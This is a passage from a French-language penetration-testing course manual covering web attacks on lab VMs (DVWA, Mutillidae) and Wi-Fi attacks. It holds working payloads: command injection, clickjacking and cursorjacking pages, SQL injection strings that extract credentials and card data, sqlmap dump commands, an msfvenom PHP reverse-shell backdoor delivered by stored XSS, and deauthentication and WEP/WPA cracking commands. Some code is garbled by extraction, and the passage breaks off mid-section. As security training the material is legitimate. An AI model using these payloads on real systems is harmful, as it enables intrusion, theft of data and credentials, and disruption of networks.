print "Listening for Incoming ICMP Traffic. Use Ctrl+C to stop listening"
sniff(lfilter=rules,store=0)
21/11/2019

# Application des droits d'exécution sur le script


$ chmod +x CIICMP.py

132
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Exécution du script
$ ./CIICMP.py

Rendez-vous maintenant sur notre site vulnérable à l'adresse suivante :


http://AdresseIPDeLaVMMetasploitable/dvwa/vulnerabilities/exec/ et tapez la commande suivante :
1;ping AdresseIDuPosteAttaquant

Nous voyons donc, que la faille existe bien, car nous avons récupérer la réponse à la commande ping

10.3 Attaque sur l'authentification

10.3.1 Introduction

L'authentification est le fait de confirmer une identité : personne, programme, hardware, …


Le but est ici, de bypasser la sécurité en se faisant passer par une entité autorisée.

10.3.2 Types d'authentification

Le schéma suivant (selon CISSP : Certified Information Systems Security Professionnal) explique, très
simplement, les différents types d'authentification possibles et l'intérêt d'une utilisation mixte
(Authentification à double facteurs : A2F) pour accroître la sécurité.
21/11/2019

133
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

10.3.3 Clickjacking

Le détournement de clic, ou clickjacking, est une technique malveillante, très dangereuse, visant à
"forcer" un internaute à fournir des informations confidentielles ou à prendre le contrôle de son
ordinateur en le poussant à cliquer sur des pages apparemment sûres.

Exemple :
<a href=http://www.hacker.com> Visitez notre page Facebook </a>

Dans l'exemple ci-dessus, l'utilisateur pense cliquer sur un lien permettant de visitez la page
Facebook du site en cours ; mais en réalité, il sera redirigé vers un autre site (ici, www.hacker.com )
qui pourra être un clone de la page demandée et ainsi permettre, éventuellement, de récupérer des
informations d'identification ou autres.

L'illustration ci-dessus, nous montre un autre cas de clickjacking. Cette fois-ci, l'utilisateur pense
remplir des informations sans risque sur une page web piégée mais lorsque ce dernier clique sur le
bouton "NEXT" pensant accéder à la suite du site, la réalité est toute autre. Les données remplient
précédemment sont utilisées pour changer le mot de passe de votre banque, faire un transfert
bancaire, … grâce à une IFRAME totalement transparente.

Passons maintenant à un exemple concret. Pour cela, enregistrer le code suivant sous le nom
ClickJacking.html
21/11/2019

134
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

<html>

<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

<a href="#">Jouer !Maintenant!!!</a>


<h1 style="text-align:center">Jeux Videos</h1>
<script>
window. > {
return " Quitter click.site?";
}
</script>
<body>
<p style="font-size: 38px;"align=center>Meilleurs Jeux</p>
<div style="z-index:10; opacity:0.4; position:absolute; top:0px; left:200px; ">
<iframe scrolling="no" style=" width:800px; height:500px;" src="https://www.alphorm.com">
</iframe>
</div>
<div style="top:0px; left:200px;">
</div>
</body>
</html>

Nous pouvons maintenant ouvrir le fichier html pour voir ce qui se passe.
21/11/2019

135
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Nous nous apercevons que le lien "Jouer ! Maintenant !!!" pointe sur le bouton "Se connecter" du
site Alphorm. Il ne nous reste qu'à mettre la valeur 0 au paramètre opacity de notre fichier
ClickJacking.html pour rendre cela totalement invisible.

10.3.4 Cursorjacking

Le cursorjacking, ou détournement de curseur, est une attaque de type clickjacking qui a


pour particularité de « créer » un décalage entre l'endroit où vous semblez cliquer et l'endroit où
vous cliquez réellement. De ce fait, on peut vous faire en théorie cliquer n'importe où. Cette attaque
combinée à d'autres types de clickjacking peut être efficace et dangereuse.

Passons maintenant à un exemple concret. Pour cela, enregistrer le code suivant sous le nom
CursorJacking.html

<html>
<head><title>cursorjacking </title>
<style>
body,html {margin:0;padding:0}
</style>
</head>
<body style="cursor:none;height: 1000px;"><img style="position: absolute;z-index:1000;" id=cursor
src="cursor.png" />
<div style=margin-left:300px;">
<h1> cursorjacking KEZAKO ?</h1>
</div>
<button style="font-size:
150%;position:absolute;top:130px;left:630px;">YES</button>
<button style="font-size: 150%;position:absolute;top:130px;
left:680px;">NO</button>
<div style="opacity:1;position:absolute;top:130px;left:30px;">
21/11/2019

<a href="https://twitter.com/share" class="twitter-share-button" data-via="kkotowicz" data-


size="small">Tweet</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id))

136
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

{js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/
widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document, "script","twitter-wjs");</script>
</div>
<script>
function shake(n) {
if (parent.moveBy) { for (i = 10; i > 0; i--) { for (j = n; j > 0; j--) { parent.moveBy(0,i);
parent.moveBy(i,0); parent.moveBy(0,-i); parent.moveBy(-i,0);
}
}
}
}
shake(5);
var >var (e) {
var nMoveX = e.clientX, nMoveY = e.clientY; oNode.style.left = (nMoveX + 600)+"px";
oNode.style.top = nMoveY + "px";
};
document.body.addEventListener('mousemove', onmove, true);
</script>
</body>
</html>

Notre choix de cliquer sur le bouton "YES dans notre fichier HTML, sélectionne en réalité, le lien
"Tweet" qui pourra être un lien malicieux, une backdoor, …

10.3.5 Hijacking de sessions (cookies)

Les cookies stockent, généralement, des informations critiques dont la récupération est facile.
Le but consiste à récupérer le "Token de Session" qui est utilisé entre l'utilisateur et le serveur.
Cette attaque à ses limites lors de l'utilisation du protocole sécurisé : HTTPS mais peut être
contourné par des outils tel que SSLstrip ou mitmproxy pour bypasser le HTTPS.

INFO :

Il existe d'autres techniques concernant l'authentification, orienté site web, tel que :
21/11/2019

- SQL Injection
- XSS

137
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

10.4 Exploitation

Dans cette partie, nous allons exploiter, de façon avancée, les failles web les plus dangereuses tel
que Sql Injection, Blind Sql Injection, XSS ou encore CXSRF

10.4.1 Sql Injection : UNION

Pour cela, nous allons utiliser un projet OWASP : Mutillidae qui va nous offrir des applications web
vulnérables.

Commençons par nous rendre sur notre site vulnérable à l'adresse suivante :
http://AdresseIPDeLaVMMetaploitable/mutilliadae.
Choisissons ensuite le menu OWASP Top10 → A1 – Injection → SQLi – Extract Data → User Info

Nous allons utiliser le type d'injection : UNION. Pour vérifier si la faille est présente, il suffit,
simplement, de rentrer dans le champ "Name" la valeur ' [Apostrophe] et de vérifier la présence
d'une erreur lors de la validation.

Attaquons-nous, maintenant, à l'injection UNION, pour cela, il nous faut indiquer la commande
suivante dans le champ "Name" :

' union select null --

L'apostrophe signifie que rien ne sera exécuté dans la première partie mais uniquement dans la
21/11/2019

seconde.

La partie -- [ Tiret Tiret avec un espace après ] permet d'indiquer que le code suivant sera mis en
commentaire.

138
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Lors de notre validation, nous pouvons voir une erreur sur le nombre de colonnes. Ce message est
important car il nous indique que notre commande est incomplète. Il nous faut donc ajouter un
"null" à notre commande précédente et cela jusqu'à ce que le message d'erreur disparaisse. Pour
notre cas, il faudra l'indiquer 5 fois ; ce qui signifie que nous avons 5 colonnes.

' union select null,null,null,null,null --

Pour savoir, maintenant, à quelle colonne correspond nos résultats, nous allons remplacer les "null"
par les chiffres 1,2,3,4,5.

Nous voyons, donc, que la colonne 2 est attitré à Username, la 3 à Password et la 4 à Signature.
21/11/2019

139
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

POUR ALLER PLUS LOIN :

Il est possible de récupérer des informations depuis la base de données si vous connaissez le schéma
de la base. Pour exemple, la commande suivante, va nous afficher les informations des cartes
bancaires stockées dans les tables concernées.

' union select ccid,ccnumber,ccv,expiration,null from credit_cards --

Continuons dans cette exploitation SQL Injection mais cette fois-ci avec le site DVWA :
http://AdresseIPDeLaVMMetaploitable/dvwa/. Pour rappel, les informations d'identification par
défaut sont admin / password. Pensez à mettre le niveau de sécurité à "Medium" en passant par le
menu "DVWA Security"

Rendons-nous maintenant dans le menu SQL Injection pour tapez un numéro ID (ici 1) pour vérifier le
bon fonctionnement.
21/11/2019

140
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Allons plus loin, maintenant, en utilisant la commande suivante pour connaître le nom de colonnes
disponibles (ici test de 3 colonnes).

1 and 1=1 order by 3 #

Si la commande retourne l'erreur suivante : Unknown column '3' in 'order clause'. Cela indique, que le
nombre de colonnes n'est pas bon. Le but final étant de modifier la commande précédente jusqu'à
trouver le bon nombre de colonnes pour ne plus avoir ce message d'erreur comme sur l'exemple ci-
dessous.

Grâce à cela, nous pouvons continuer notre exploitation en utilisant UNION pour récupérer la version
et le nom de la base (nous sommes limités au nombre de nos colonnes : ici, 2).

1 and 1=1 union select version(),database() #

Nous pouvons aller plus loin, en récupérant le nom d'utilisateur grâce à "user"

1 and 1=1 union select null,user() #


21/11/2019

141
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

10.4.2 Sql Injection : BLIND

Rendez-vous dans le menu SQL Injection (Blind).

PRE-REQUIS :

Pensez à activer le proxy de votre navigateur avec la configuration suivante :

Le vecteur d'attaque BLIND, va nous permettre d'injecter des données à partir d'une base vulnérable.
Pour détecter cette vulnérabilité, nous allons utiliser burpsuite, pour récupérer les données dont
nous avons besoin (adresse, cookie) et sqlmap pour effectuer la série de tests. La faille se détecte,
généralement par l'absence de message d'erreur.

# Lancement de burpsuite
$ burpsuite

Une fois l'outil "burpsuite" démarré, indiquez la valeur 1 dans le champ "User ID" de notre site
vulnérable et regardons notre requête bloquée par burpsuite.
21/11/2019

142
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Dans cette trame, nous allons récupérer deux informations :

➔ L'adresse de la page concernée (clic droit → Copy URL) :

http://AdresseIpDeLaVMMetasploitable/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Sub
mit

➔ Les informations concernant le cookie (sélectionner l'information → clic droit → Copy) :

security=medium; PHPSESSID=620a89c75017aa21234aebd55473c111

Il ne nous reste plus qu'à les indiquer à sqlmap pour lancer la détection de failles à l'aide de la
commande suivante :

sqlmap -u "URLDeLaPage" --cookie="InformationDuCookie"

21/11/2019

143
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

NDLR :

Pour accélérer la commande, j'ai indiqué (touche n) de scanner uniquement les payloads MySQL et de
ne pas tester d'autres vulnérabilités lors de la détection de la faille sur le paramètre ID.

A la fin de notre scan, nous pouvons voir que le paramètre "ID" est exploitable.

Continuons notre exploitation en affichant les bases de données disponibles avec l'option "--dbs"

sqlmap -u "URLDeLaPage" --cookie="InformationDuCookie" --dbs

Il est possible, aussi, de visualiser les tables qui composent une base de donnée en utilisant l'option
"-D" pour spécifier notre base à utiliser (ici, la base "dvwa") et --tables pour afficher les tables
trouvées.

sqlmap -u "URLDeLaPage" --cookie="InformationDuCookie" -D NomDeLaBase --tables

Essayons maintenant de récupérer les colonnes au sein d'une table, à l'aide des options "-T" qui
attend le nom de notre table (ici la table "users") et "--column" pour affiches les colonnes disponibles
21/11/2019

sqlmap -u "URLDeLaPage" --cookie="InformationDuCookie" -T NomDeLaTable --column

144
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Pour terminer, nous allons dumper les informations contenues dans les colonnes "user" et
"password" pour obtenir les hashes et les cracker ultérieurement :

sqlmap -u "URLDeLaPage" --cookie="InformationDuCookie" -C user,password --dump

NDLR :

Lors de la récupération des informations user/password, il est proposé de sauvegarder les hashes
dans un fichier et même de tenter une attaque par brute force comme dans l'exemple ci-dessous

21/11/2019

145
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

10.4.3 XSS

NDLR :

N'oubliez pas de désactiver le proxy de votre navigateur internet.

La faille XSS va nous permet, dans notre exemple, d'injecter une backdoor php et de la connecter à
metasploit.

# Création de la backdoor PHP


$ msfvenom -p php/meterpreter/reverse_tcp lhost=AdresseIPDuPosteAttaquant lport=444 R >
/CheminPourSauvegarderNotreBackdoor/backdoor.php

Téléchargez, maintenant, votre backdoor par le menu "Upload" de notre site DVWA ; en ayant
préalablement renseigner le niveau de sécurité via le menu "DVWA Security" sur "Low".

Accédons, cette fois-ci, la partie "XSS Stored" pour y injecter le code qui suit, et nous permettre,
ainsi, d'obtenir une connexion meterpreter.

<script>window.location="http://AdresseDeLaVMMetasploitable/dvwa/hackable/uploads/backdo
or.php"</script>
21/11/2019

146
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

INFO :

Si vous n'arrivez pas à entrer la totalité de la ligne de commande, il vous faudra modifier la longueur
maximale de l'emplacement de saisie, en effectuant un clic droit dessus et en modifier le paramètre
"maxlength" à 500, par exemple.

Une fois validé, nous arrivons sur une fenêtre, comme ci-dessous. Cela nous indique que la
connexion à notre meterpreter est opérationnelle.

21/11/2019

147
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

11 Attaque sur les réseaux sans fils

11.1 Introduction aux attaques sur les réseaux sans fils

Kali Linux présente une panoplie d'outils permettant le pentesting des réseaux sans fils.
Il est nécessaire de disposer d'une carte Wifi compatible avec les outils (spécialement pour la suite
aircrack-ng) que nous allons utiliser, avant d'entamer un audit.
Le chipset et les drivers de cette dernière doivent supporter l'injection de paquets dans le flux de
données (entre la cible et la victime) qui nous permettra de causer des dénis de services ou encore
de capturer les handshakes dont on aura besoin pour cracker la clé de cryptage.

Les cartes réseaux préconisées sont celles de la marque : ALFA NETWORK

11.1.1 Qu'est-ce qu'un handshake ?

Source : https://beta.hackndo.com/krack/

Lors de la connexion de notre poste à un point d’accès protégé (style box), un handshake, se
résumant à un échange de 4 messages (Four-Way Handshake), est effectué pour permettre de
construire une connexion chiffrée, accessible uniquement aux personnes autorisées (possédant la
bonne clé de sécurité)

En vulgarisant la procédure, le handshake se passe comme suit :

[Message 1]
Le point d'accès envoie un numéro aléatoire (Anonce) et son adresse MAC.
Par ailleurs, il a déjà calculé la clé commune (PMK) en utilisant son SSID et la clé de sécurité.

[Message 2]
Le client confirme la réception des informations précédente. Il crée maintenant la clé de chiffrement
(PTK) à l'aide des informations suivantes : le numéro aléatoire transmis par le point d'accès (Anonce),
un numéro généré par le client (Snonce), l'adresse MAC du client et celle du point d'accès, le SSID et
la clé de sécurité (qui nous donnent aussi la PMK).
Le client transmet donc son numéro généré (Snonce) ainsi que son adresse MAC pour que notre
point d'accès fasse la même opération de son côté.

[Message 3]
Le point d'accès confirme la réception des données et exécute la même opération pour obtenir la clé
de chiffrement (PTK).

[Message 4]
Une fois la clé de chiffrement validée, les échanges peuvent s'effectuer de manière sécurisée.
21/11/2019

148
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

11.2 La configuration

Les tests suivants ont été réalisés, pour ma part, avec le modèle AWUS036NHA, monté en USB sur
ma VM Kali.

Commençons par vérifier que notre carte est bien reconnue sur notre machine avec la commande
"iwconfig" :

# Augmentation de la puissance du signal de notre carte [Tx-Power]


$ iwconfig NomDeLInterface txpower Puissance
21/11/2019

149
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Activation du mode monitor (mode écoute).


$ airmon-ng start NomDeLInterface

INFO :

Il est préférable de tuer tous les processus en lien avec airmon-ng avant de démarrer un audit, à l'aide
de la commande suivante :

$ airmon-ng check kill

11.3 La reconnaissance

Cette partie va détailler les outils nous permettant de découvrir les réseaux sans fil disponible (caché
ou non) mais aussi les types de cryptage, …

11.3.1 Aircrack-ng

Aircrack-ng est une suite de logiciels de surveillance des réseaux sans fil. L'utilisation principal est de
"casser" les clés WEP et WPA des réseaux Wifi.

Voici une liste des fonctionnalités disponibles dans la suite :

➔ aircrack-ng : Casseur de clés WEP statiques et WPA-PSK (nouveau type de casseur : PTW)
➔ airdecap-ng : Décrypteur de fichiers WEP/WPA capturés
➔ airdriver-ng : Permet de patcher les drivers pour faire de l'injection de paquet
➔ aireplay-ng : Programme d'injection de paquets
21/11/2019

➔ airmon-ng : Active/Désactive le mode moniteur (observateur du réseau) d'une carte wifi


➔ airodump : Programme de capture de paquets 802.11

150
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Pensez à activer le mode "monitor" sur votre carte et à conserver le nom de l'interface moniteur (ici,
wlan0mon) : $ airmon-ng start NomDeL'interface

# Lancement du scan sur les réseaux sans fil disponibles


$ airodump-ng NomDeLinterfaceMoniteur

11.3.2 Kismet

Kismet est un logiciel libre, fonctionnant sous Linux et Mac OS X, permettant la détection de réseaux.
C'est aussi un sniffeur et un système de détection d'intrusion pour les réseaux sans fil. Il supporte le
mode moniteur et l'ensemble des protocoles 802.11 (802.11a, 802.11b, 802.11g et 802.11n).

# Lancement de l'outil Kismet


$ kismet -c NomDeLInterfaceMoniteur

21/11/2019

151
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Rendez-vous maintenant à l'adresse http://localhost:2501 et renseigner les identifiants pour votre


prochaine connexion :

Après avoir renseigner les informations demandées ci-dessus, nous pouvons visualiser les différents
réseaux disponibles avec, lors de la sélection, une panoplie de détails.

11.4 Bypassing HSSID

Le HSSID, Hidden Service Set Identifier, est une technique "ridicule" utilisée par certaines sociétés,
pensant améliorer la sécurité du Wifi en cachant le SSID.

Pour bypasser cela, il existe deux méthodes :


21/11/2019

152
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

➔ Sniffer l'environnement Wifi et attendre qu'un client associé à un réseau se connecte et


capturer cette association. Le point négatif de cette méthode est qu'elle peut être très
longue du fait de l'attente qu'une personne se connecte.

➔ Dé-authentifier un client et le forcer à ses réassocier avec le point d'accès et ainsi capturer
cette association. Nous utiliserons cette méthode.

Pour cela, voici la liste des outils que nous utiliserons :

➔ airmon-ng pour mettre notre carte en mode monitor


➔ airodump-ng pour analyser les réseaux disponibles
➔ aireplay-ng pour dé-authentifier notre utilisateur

Commençons par vérifier que notre carte réseau est en mode moniteur à l'aide de la commande
"iwconfig" :

# Lancement de l'analyse des réseaux sans fil disponibles


$ airodump-ng InterfaceWLANMonitor

On peut donc apercevoir notre SSID caché qui nous indique seulement sa taille, ici 5 caractères

Relançons notre capture mais, cette fois ci, en sélectionnant le channel (canal) de notre SSID masqué.
Pour notre exemple CH : 1 :

# Lancement de l'analyse des réseaux sans fil disponibles limité à un canal


$ airodump-ng -c NuméroDuChannelDuHSSID InterfaceWLANMonitor

Il nous reste, simplement, à dé-authentifier les clients connectés à l'aide de la commande suivante :

$ aireplay-ng -0 5 -a AdresseMACDuPointDAcces NomDeLInterfaceMonitor


21/11/2019

153
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Pour voir apparaître le SSID qui était, normalement invisible

11.5 Bypassing MAC Address Authentification

Pour rappel, l'adresse MAC (Media Access Control), ou encore appelée "Adresse Physique", est une
adresse unique assignée à une carte réseau. Elle est constituée de six paires en hexadécimal (chiffres
de 0 à 9 et lettre de A à F) sous la forme suivante : 00:50:56:C0:00:01.
Elle peut être utilisé pour authentifier les utilisateurs, en les autorisant ou non à accéder à un réseau.
Cette méthode de "sécurité" est largement bypassage par un hacker qui n'aura aucun problème à
changer son adresse MAC.

o Modification manuelle

Pour modifier, manuellement, l'adresse MAC de notre carte Wifi, voici les étapes à suivre :

# Vérification de l'adresse MAC actuelle


$ ifconfig -a NomDeLInterfaceDeNotreCarteWifi | grep ether

# Désactivation de notre carte Wifi


$ ifconfig NomDeLInterfaceDeNotreCarteWifi down

# Modification de l'adresse MAC


Ifconfig NomDeLInterfaceDeNotreCarteWifi hw ether NouvelleAdresseMAC

# Vérification de la nouvelle adresse MAC


$ ifconfig -a NomDeLInterfaceDeNotreCarteWifi | grep ether

# Activation de notre carte Wifi


$ ifconfig NomDeLInterfaceDeNotreCarteWifi up
21/11/2019

154
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

o Modification automatique

L'outil "macchanger" va nous permettre de faire cela sans effort :

# Penser à désactiver la carte réseau concernée par le changement d'adresse MAC


# L'option "-r" permet de générer une adresse MAC de façon alétoire
$ macchanger NomDeLInterfaceDeLaCarteWifi -r

Le résultat de la commande est divisé en 3 parties :

➔ Current MAC : correspond à l'adresse MAC actuelle de votre carte Wifi


➔ Permanent MAC : correspond à l'adresse MAC d'origine de votre carte Wifi
➔ New MAC : correspond à la nouvelle adresse MAC générée

INFO :

Pour récupérer une adresse MAC d'un client connecté sur un point d'accès, rien de plus simple avec la
commande airmon-ng :

# Passer votre carte Wifi en mode moniteur


$ airmon-ng start NomDeLInterfacedeLaCarteWifi

# Scan du réseau
$ airdump NomDeLInterfaceMonitor

Les adresses MAC des clients connectés (ici encadrés en rouge) peut donc être utilisés pour bypasser
les sécurités du type filtrage d'adresses MAC.
21/11/2019

155
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

11.6 Attaque WEP

Le protocole de sécurité d'un réseau sans fil WEP (Wireless Equivalent Privacy) est apparu en 1999. Il
est rapidement remplacé par le protocole WPA à cause de la détection de plusieurs failles
cryptographiques. Malheureusement, il reste encore utilisé par certains réseaux.

L'une des premières failles découvertes concerne le vecteur d'initialisation (VI). Il est basé sur RC4 -
Stream Cipher, qui consiste à introduire un élément aléatoire dans les données cryptées. Le
problème intervient au niveau de la taille du VI qui est trop petite (24 bits) pour prévenir la
répétition.
Généralement la clé de sécurité de ce protocole est récupérée en moins de 5 minutes.

11.6.1 Mode manuel

Nous allons essayer de cracker une clé WEP de façon manuelle. Pour cela, ne pas oublier de passer
en mode moniteur, notre carte Wifi à l'aide de la commande "airmon-ng". Au besoin, pour rappel, se
référer au chapitre précédent.

# Lancement du balayage des réseaux wifi disponibles


$ airodump-ng NomDeLInterfaceMonitor
21/11/2019

156
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Une fois, que vous visualiser votre réseau wifi avec le protocole WEP ; il vous faudra relever l'adresse
MAC et le canal utilisé par le point d'accès.

# Lancement du balayage sur le canal de notre point d'accès avec sauvegarde des paquets beacon
$ airodump-ng -c NuméroDuCanal -w NomDuFichierDesCaptures -b AdresseMacDuPointAcces
NomDeLInterfaceMonitor

On s'aperçoit que l'enregistrement des "beacons" peut être long. Pour augmenter cela, nous allons
utiliser la commande "aireplay-ng" dans un autre terminal :

# L'option -1 0 permet de lancer une "fail authentification"


# L'option -a correspond à l'adresse MAC de notre point d'accès
$ aireplay-ng -1 0 -a AdresseMACDuPointDAcces NomDeLInterfaceMonitor

# Envoi de "faux" paquets pour augmenter les "beacons"


$ aireplay-ng -3 -b AdresseMACDuPointDAcces NomDeLInterfaceMonitor

21/11/2019

157
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Lancement du crack de notre clé WEP


$ aircrack-ng NomDuFichierDesCaptures

Si le nombre de paquet "beacon" est suffisant, il ne faudra pas longtemps, pour découvrir la clé de
sécurité WEP de notre réseau wifi (ici AB:CD:EF:12:34).

11.6.2 Mode automatique

Nous allons, maintenant, présenter différents outils pour cracker les clés de sécurité WEP de façon
automatique.

▪ Wifite

L'utilisation de l'outil "Wifite" est très simple. Une fois lancé, il n'y a qu'à sélectionner le réseau wifi
désiré et d'attendre (4 minutes lors de mon test) le cracking de la clé de sécurité.

21/11/2019

158
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

▪ Fern wifi cracker

L'avantage de "fern wifi cracker" est qu'il est totalement graphique et qu'il prend en charge les
protocoles WEP et WPA.

Il se résume à quatre clics :

o Choix de l'interface wifi


o Lancement du balayage
o Sélection de notre réseau basé sur le protocole WEP
o Lancement du cracking

NDLR :

Pour accélérer la détection de notre réseau WEP, il est possible de double-cliquer sur un espace vide
du logiciel et de configurer le canal.
Pour ma part, j'ai coché l'option "Enable Xterms", qui m'a permis de suivre la détection de mon
réseau WEP mais surtout l'avancement du nombre de paquet "beacon" dont le nombre doit être
d'environ 10000. 21/11/2019

De plus, il hésite un bouton "toolbox" incluant différents outils, tel que, cookie hijacker, ray fusion ou
encore un tracker, …

159
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

POUR DE VRAI :

Je n'ai pas pu utiliser cet outil pour cracker ma clé WEP car l'interface graphique ne détectait pas mon
réseau WEP alors que, via l'option Xterms", je pouvais voir qu'il le détectait correctement.
Bref, la joie de l'informatique …

INFO :

Il existe d'autres techniques d'attaques pour cracker le protocole WEP :

- Fragmentation
- ChopChop
- Caffe Latte
- Hirte
- ARP request replay
- WPS attack

11.7 Attaque WPA et WPA2

Pour corriger les failles et succéder au protocole de sécurité WEP, la protocole WPA et WPA2 sont
créés. Ces nouveaux protocoles utilisent une "Pre-Shared Key" [PSK], qui doit être aléatoire (en moins
de 13 caractères), pour sécuriser la communication.
L'attaque la plus répandue pour casser la clé est le brute-forcing.

INFO :
21/11/2019

Lorsque le protocole WPA est configuré en mode "entreprise", c’est-à-dire utilisant un serveur
d'authentification RADIUS, son crackage est "quasi" impossible.

160
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Le déchiffrement du WPA requiert une création d'un type spécifique de paquets pour récupérer des
détails utiles, comme des "handshake" ; à l'inverse du protocole WEP qui utilise une analyse statique
des paquets.

11.7.1 Attaque Brute-Force

L'attaque de type "Brute-Force" utilise un dictionnaire contenant des mots de passe (entre 8 et 63
caractères) pour essayer de se connecter au point d'accès wifi (SSID) en utilisant des clés PSK,
générées à partir du dictionnaire. La finalité de l'attaque se résume à vérifier la concordance des MIC
(Message Integrity Check) qui nous indiquera la validité de notre mot de passe.

Passons à la partie pratique, pour cela commençons par lancer la commande "airmon-ng" sur notre
carte wifi pour la passer en monitor. Pour rappel, killer les processus liés à votre carte à l'aide de la
commande suivante :

$ airmon-ng check kill

Comme d'habitude, la première étape consiste à lancer le balayage des réseaux sans fil disponibles à
l'aide de la commande suivante :

$ airodump-ng NomDeLInterfaceMonitor
21/11/2019

161
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Une fois notre cible repérée, nous allons capturer les "handshake" grâce à la commande suivante :

$ airodump-ng --bssid AdresseMACDuPointDAcces --channel NuméroDuCanal --write


NomDuFichierDesCaptures NomDeLInterfaceMonitor

La troisième étape, va nous permettre d'accélérer la capture de paquets "handshake" en lançant des
paquets de dé-authentification à l'aide de la commande :

# L'option --deauth permet de définir le nombre de paquet de dé-authentification à injecter


# L'option -a pour indiquer l'adresse MAC du point d'accès concerné
# L'option --ignore-negative-one est utile si la commande vous retourne une erreur relative au
channel

$ aireplay-ng --deauth 1 -a AdresseMACDuPointDAcces NomDeLInterfaceMonitor --ignore-


negative-one

Pour la suite de notre exemple, nous allons utiliser le dictionnaire "common.txt" contenu dans le
dossier" /usr/share/wordlists/fern-wifi", auquel nous avons ajouté, préalablement, notre clé de
sécurité de notre réseau wifi.

Il ne nous reste plus qu'à lancer le crackage de la clé à l'aide de la commande suivante :

$ aircrack-ng NomDuFichierDesCaptures -w CheminEtNomDeNotreDictionnaire


21/11/2019

162
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

INFO :

Cette dernière méthode, nous fait comprendre l'intérêt de prendre un dictionnaire le plus complet
possible pour augmenter, de façon significative, nos chances de résultat.

11.7.2 Attaque Reaver

L'attaque "Reaver" va nous permettre de compromettre la sécurité du protocole WPA / WPA2 en


utilisant les configurations facilitant l'accès au réseau et supporté par la plupart des points d'accès. :
le WPS et le PIN.
La faiblesse vient de la taille utilisée : 8 numéros, soit 100 000 000 possibilités. Il faut compter entre
2h et 10h pour récupérer le PIN et ainsi trouver la clé utilisée.

Comme d'habitude la première étape consiste à lancer le balayage des réseaux sans fil disponibles à
